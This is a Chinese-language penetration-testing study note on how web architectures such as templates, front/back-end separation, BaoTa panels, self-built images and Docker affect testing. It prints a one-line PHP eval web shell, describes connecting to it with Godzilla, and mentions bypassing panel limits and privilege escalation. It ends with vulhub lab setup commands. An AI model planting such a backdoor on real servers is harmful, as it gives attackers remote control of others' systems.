Day02 Web应用&架构类别&源码类别&镜像容器&建站模板&编译封装&前后端分离

我的博客园笔记地址

一、套用模板型

csdn / cnblog / github / 建站系统等

如果管理者采用的是套用模板型的，他既没有自己的域名，又没有自己的源码，他所做的也就是在这里建了一个分站而已，所以你测试的目标就是本身建在系统的官网/主体

安全测试思路上的不同：一般以模版套用，基本模版无漏洞，大部分都采用测试用户管理权限为主

此类建站，一般都是小作坊建站，网站的价值不高

二、前后端分离

**前后端分离：**前端专注于用户界面的呈现和交互逻辑；后端专注于数据处理和业务逻辑，不涉及界面代码和网页生成。用户在前端进行操作时，前端通过 API 接口向后端发送请求，由后端处理操作并返回数据给前端，由前端完成数据的最终展示

**好处：**可以实现代码分离，开发分离，部署分离，职责分离，提升开发效率和代码维护性

**安全测试思路上的不同：**前端以JS（Vue,NodeJS等）安全问题，主要以API接口测试，前端漏洞（如XSS）为主，后端隐蔽难度加大。

三、集成软件包（以宝塔为例）

宝塔，phpstudy，xamp 等

以 zblog 网站为例

关掉一些 Windows 的保护机制

然后上传一个 1.php 的木马文件

php 复制代码

<?php eval($_POST["pass"]);?>

使用哥斯拉工具进行连接

**后门的权限：**命令执行不行，文件管理除 web 目录能看其他都不能看

**安全测试思路上的不同：**主要是防护体系，权限差异为主

**解决：**绕过宝塔限制

四、自主环境镜像

云镜像打包，自行一个个搭建

安全测试思路上的不同：主要是防护体系，权限差异为主

以 wordpress 为例，

使用 xshell 连接

**后门的权限：**命令执行可以，文件管理基本都能看，除去一些高权限目录（root 目录等）

**安全测试思路上的不同：**主要是防护体系，权限差异为主

**解决：**提权横向操作

五、容器拉取镜像

powershell 复制代码

# apt update
# apt install git
# apt install docker
# apt install docker-compose
# git clone https://github.com/vulhub/vulhub.git
# cd vulhub/thinkphp/5-rce
# vim docker-compose.yml
version: '2'
services:
 web:
   image: vulhub/thinkphp:5.0.20
   ports:
    - "8080:80"
# docker-compose up -d